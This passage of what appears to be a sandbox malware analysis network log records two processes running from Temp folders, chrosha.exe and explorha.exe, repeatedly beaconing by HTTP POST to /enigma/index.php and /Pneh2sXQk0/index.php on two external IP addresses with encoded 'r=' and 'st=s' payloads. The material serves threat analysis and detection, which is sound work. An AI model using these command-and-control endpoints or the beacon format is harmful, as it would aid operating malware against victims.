Apr 19, 2024 03:31:13.399607897 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:13.652250051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.5	50115	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:13.440234900 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:13.683067083 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.5	50116	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:13.932378054 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:14.183891058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.5	50117	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:14.005702972 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:14.244618893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.5	50118	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:14.497414112 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:14.748091936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.5	50119	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:14.539510012 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:14.787008047 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.5	50120	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:15.043200016 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:15.296638012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.5	50121	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:15.107502937 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:15.355252981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.5	50122	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:15.604732037 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:15.852655888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.5	50123	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:15.651411057 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:15.900526047 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:31:15.908818007 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:16.163661003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.5	50124	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:16.213439941 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:16.458899975 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.5	50125	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:16.527877092 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:16.778974056 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.5	50126	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:16.713920116 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:16.967158079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.5	50127	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:17.035180092 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:17.291246891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.5	50128	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:17.326524973 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:17.574265957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.5	50129	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:17.652471066 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:17.899439096 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.5	50130	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:17.823016882 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:18.070862055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.5	50131	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:18.151197910 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:18.399919987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.5	50132	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:18.433042049 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:18.680342913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.5	50133	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:18.755290985 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:18.997711897 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.5	50134	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:18.926899910 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:19.173882961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.5	50135	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:19.246440887 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:19.495146990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
